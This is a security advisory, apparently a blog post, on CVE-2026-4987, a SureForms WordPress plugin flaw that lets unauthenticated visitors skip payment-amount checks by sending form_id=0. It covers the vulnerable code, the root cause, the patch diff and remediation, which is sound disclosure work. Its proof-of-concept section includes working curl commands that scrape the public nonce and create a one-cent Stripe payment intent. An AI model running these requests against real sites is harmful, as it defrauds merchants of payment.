CVE-2026-4987: Unauthenticated Payment Bypass in SureForms

CVE-2026-4987: Unauthenticated Payment Bypass in SureForms

CVE-2026-4987 is a CVSS 7.5 (High) unauthenticated payment amount validation bypass vulnerability in the SureForms – Contact Form, Payment Form & Other Custom Form Builder WordPress plugin. Affecting all versions up to and including 2.5.2, this flaw allows any unauthenticated attacker to create Stripe payment intents at a self-specified price — including fractions of a cent — by passing form_id=0 to bypass the server-side amount validation entirely.

Vulnerability Summary

FieldValue
Plugin NameSureForms – Contact Form, Payment Form & Other Custom Form Builder
Plugin Slugsureforms
CVE IDCVE-2026-4987
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Vulnerability TypeImproper Input Validation — Unauthenticated Payment Amount Validation Bypass
Affected Versions<= 2.5.2
Patched Version2.6.0
PublishedMarch 27, 2026
ResearcherJack Pas (Dark.) - Black Lantern Security
Wordfence AdvisoryLink

Description

The SureForms – Contact Form, Payment Form & Other Custom Form Builder plugin for WordPress is vulnerable to Payment Amount Bypass in all versions up to, and including, 2.5.2. This is due to the create_payment_intent() function performing payment amount validation conditionally — only when form_id > 0. Since form_id is a user-controlled POST parameter, an unauthenticated attacker can bypass the configured payment amount validation entirely by setting form_id to 0. This makes it possible to create underpriced Stripe payment intents (and subscription intents) at any amount the attacker chooses, regardless of what was configured in the form.

Technical Analysis

Vulnerable Code Path

Hook Registrationinc/payments/front-end.php, lines 41–44:

add_action( 'wp_ajax_srfm_create_payment_intent', [ $this, 'create_payment_intent' ] );
add_action( 'wp_ajax_nopriv_srfm_create_payment_intent', [ $this, 'create_payment_intent' ] );
add_action( 'wp_ajax_srfm_create_subscription_intent', [ $this, 'create_subscription_intent' ] );
add_action( 'wp_ajax_nopriv_srfm_create_subscription_intent', [ $this, 'create_subscription_intent' ] );

Both AJAX actions are registered with wp_ajax_nopriv_ hooks, making them accessible to unauthenticated visitors via wp-admin/admin-ajax.php.

Nonce Generationinc/helper.php, line 2282:

'payment_nonce' => wp_create_nonce( 'srfm_payment_nonce' ),

Nonce Exposureinc/frontend-assets.php, lines 318–325:

wp_localize_script(
    SRFM_SLUG . '-stripe-payment',
    'srfm_ajax',
    [
        'ajax_url'      => admin_url( 'admin-ajax.php' ),
        'payment_nonce' => $frontend_nonces['payment_nonce'],
    ]
);

The srfm_payment_nonce is injected as srfm_ajax.payment_nonce into the page source of any page containing a SureForms payment form. Any visitor to that page can read the nonce directly from the HTML source.

The Vulnerable Functioninc/payments/front-end.php, lines 71–96:

public function create_payment_intent() {
    // Verify nonce.
    if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'srfm_payment_nonce' ) ) {
        wp_send_json_error( __( 'Invalid nonce.', 'sureforms' ) );
    }

    $amount         = intval( $_POST['amount'] ?? 0 );
    $currency       = sanitize_text_field( wp_unslash( $_POST['currency'] ?? 'usd' ) );
    $description    = sanitize_text_field( wp_unslash( $_POST['description'] ?? 'SureForms Payment' ) );
    $block_id       = sanitize_text_field( wp_unslash( $_POST['block_id'] ?? '' ) );
    $customer_email = sanitize_email( wp_unslash( $_POST['customer_email'] ?? '' ) );
    $customer_name  = sanitize_text_field( wp_unslash( $_POST['customer_name'] ?? '' ) );
    $form_id        = intval( $_POST['form_id'] ?? 0 );   // <-- user-controlled

    if ( $amount <= 0 ) {
        wp_send_json_error( __( 'Invalid payment amount.', 'sureforms' ) );
    }

    $amount_processed_with_currency = Stripe_Helper::amount_from_stripe_format( $amount, $currency );

    // VULNERABLE: validation only runs when form_id > 0
    if ( $form_id > 0 && ! empty( $block_id ) ) {
        $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
        if ( ! $validation_result['valid'] ) {
            wp_send_json_error( $validation_result['message'] );
        }
    }
    // If form_id == 0, validation is silently skipped — any amount is accepted
    ...
}

The validate_payment_amount Functioninc/payments/payment-helper.php, lines 581–650:

This function reads the form’s payment block configuration from post meta, then enforces either:

When bypassed, none of these checks run.

The identical vulnerability exists in create_subscription_intent() at lines 243–305 of the same file.

Root Cause

The condition if ( $form_id > 0 && ! empty( $block_id ) ) treats payment amount validation as optional. The intent was likely to skip validation when no form is associated, but it inadvertently creates a bypass: any attacker who passes form_id=0 causes the condition to evaluate as false, and the entire amount validation block is skipped. The payment intent is then created at whatever arbitrary amount the attacker specified.

Why Existing Controls Failed

The WordPress nonce check (wp_verify_nonce) that guards the endpoint provides CSRF protection only — it does not authenticate the caller. The nonce value is embedded in every page that renders a SureForms payment form as window.srfm_ajax.payment_nonce, making it publicly readable to any site visitor. Because the action is also registered with wp_ajax_nopriv_, no login is required. Thus:

  1. Attacker visits any page with a SureForms payment form.
  2. Attacker reads srfm_ajax.payment_nonce from the page source.
  3. Attacker crafts a POST request with form_id=0, any amount, and the obtained nonce.
  4. The nonce check passes. The amount validation is skipped. A Stripe payment intent is created.

Attack Impact

An unauthenticated attacker can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Obtain the nonce from the page source

Visit any page where a SureForms payment form is embedded. In the HTML source, locate the inline script that WordPress injects for the srfm-stripe-payment script handle:

<script type="text/javascript">
var srfm_ajax = {
    "ajax_url": "https://example.com/wp-admin/admin-ajax.php",
    "payment_nonce": "abc123def456"   <-- copy this value
};
</script>

Or extract it with curl:

NONCE=$(curl -s https://YOUR-SITE.com/your-payment-page/ \
  | grep -oP '"payment_nonce"\s*:\s*"\K[^"]+')
echo "Nonce: $NONCE"

Step 2: Obtain the block_id from the page source

While reviewing the page source, find the data-block-id attribute on the Stripe payment block element, or locate the block_id value passed in legitimate AJAX requests (visible in browser DevTools Network tab when the real form loads). Alternatively, send the request with an empty block_id — the bypass still works because the check is if ( $form_id > 0 && ! empty( $block_id ) ), so both conditions must be true to trigger validation; setting form_id=0 alone is sufficient.

Step 3: Create an underpriced payment intent

Send a POST request with form_id=0, any arbitrary amount (in Stripe’s smallest currency unit — e.g., 1 = $0.01 USD), and the real nonce:

curl -s -X POST "https://YOUR-SITE.com/wp-admin/admin-ajax.php" \
  -d "action=srfm_create_payment_intent" \
  -d "nonce=${NONCE}" \
  -d "amount=1" \
  -d "currency=usd" \
  -d "form_id=0" \
  -d "block_id=" \
  -d "description=Test Payment" \
  -d "customer_email=attacker@example.com" \
  -d "customer_name=Attacker"

The server responds with a Stripe client_secret for a payment intent of $0.01:

{
  "success": true,
  "data": {
    "clientSecret": "pi_xxxxx_secret_yyyyy",
    "paymentIntentId": "pi_xxxxx"
  }
}

Step 4: Complete checkout at the manipulated price

Use the returned clientSecret to confirm the Stripe payment intent from the browser (via Stripe.js) or via the Stripe API directly, completing a $0.01 purchase for a product priced at any amount by the merchant.

Expected Result

The merchant’s Stripe account receives a payment intent for $0.01 USD instead of the form’s configured amount (e.g., $100.00), resulting in an unauthorized financial transaction at a fraudulent price.

Verification

Check the Stripe dashboard (or stripe listen webhook output) — a payment intent will appear for $0.01 with the source: SureForms metadata tag, confirming the validation bypass succeeded.

Patch Analysis

What Changed

The patch modifies two functions in inc/payments/front-end.php:

  1. create_payment_intent() (lines 71–244)
  2. create_subscription_intent() (lines 251–410)

A new file inc/submit-token.php was introduced implementing the Submit_Token class.

Fix Explanation

The patch addresses the root cause through two complementary changes:

1. Replaced WordPress nonce with form-bound HMAC token (inc/submit-token.php)

The new Submit_Token class generates HMAC-SHA256 tokens that are cryptographically bound to a specific form_id:

public static function generate( int $form_id ): string {
    return self::sign( $form_id, self::current_window() );
}

public static function verify( string $token, int $form_id ): bool {
    // Checks against current + previous windows using hash_equals()
    ...
}

A token generated for form_id=5 is cryptographically invalid for form_id=0 or any other form ID. This eliminates the bypass entirely — the attacker cannot forge a token for form_id=0 because it would require knowing the site’s WordPress auth salt.

2. Made payment amount validation mandatory (not conditional)

The conditional bypass was replaced with a hard rejection:

-if ( $form_id > 0 && ! empty( $block_id ) ) {
-    $validation_result = Payment_Helper::validate_payment_amount(...);
-    if ( ! $validation_result['valid'] ) {
-        wp_send_json_error( $validation_result['message'] );
-    }
-}
+if ( $form_id <= 0 || empty( $block_id ) ) {
+    wp_send_json_error( __( 'Invalid form configuration.', 'sureforms' ) );
+}
+
+$validation_result = Payment_Helper::validate_payment_amount(...);
+if ( ! $validation_result['valid'] ) {
+    wp_send_json_error( $validation_result['message'] );
+}

Validation is now unconditional. Any request without a valid form_id > 0 is rejected outright.

Is the fix complete? Yes — the combination of form-bound tokens (preventing form_id manipulation) and mandatory validation (refusing form_id=0) closes both the bypass vector and the logical fallback. No residual risk was identified.

Code Diff (Key Changes)

--- a/inc/payments/front-end.php (2.5.2)
+++ b/inc/payments/front-end.php (2.6.0)
 public function create_payment_intent() {
-    // Verify nonce.
-    if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'srfm_payment_nonce' ) ) {
-        wp_send_json_error( __( 'Invalid nonce.', 'sureforms' ) );
+    // Verify submit token.
+    $token   = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
+    $form_id = isset( $_POST['form_id'] ) && is_numeric( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
+    if ( ! Submit_Token::verify( $token, $form_id ) ) {
+        wp_send_json_error( __( 'Security verification failed. Please refresh the page and try again.', 'sureforms' ) );
     }

     ...
-    $form_id = intval( $_POST['form_id'] ?? 0 );
+    $form_id = isset( $_POST['form_id'] ) && is_numeric( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;

-    if ( $form_id > 0 && ! empty( $block_id ) ) {
-        $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
-        if ( ! $validation_result['valid'] ) {
-            wp_send_json_error( $validation_result['message'] );
-        }
-    }
+    if ( $form_id <= 0 || empty( $block_id ) ) {
+        wp_send_json_error( __( 'Invalid form configuration.', 'sureforms' ) );
+    }
+
+    $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
+    if ( ! $validation_result['valid'] ) {
+        wp_send_json_error( $validation_result['message'] );
+    }

Timeline

DateEvent
March 27, 2026Vulnerability publicly disclosed by Wordfence
March 27, 2026CVE-2026-4987 assigned
March 27, 2026Patched version 2.6.0 released
March 28, 2026Advisory last updated

Remediation

Update the sureforms plugin to version 2.6.0 or later immediately.

If an immediate update is not possible, temporarily disable the SureForms payment functionality by deactivating the plugin until the update can be applied.

References

  1. https://plugins.trac.wordpress.org/changeset/3488858/sureforms — Official patch changeset
  2. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-252-unauthenticated-payment-amount-validation-bypass-via-form-id — Wordfence Advisory
  3. https://www.cve.org/CVERecord?id=CVE-2026-4987 — CVE Record

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee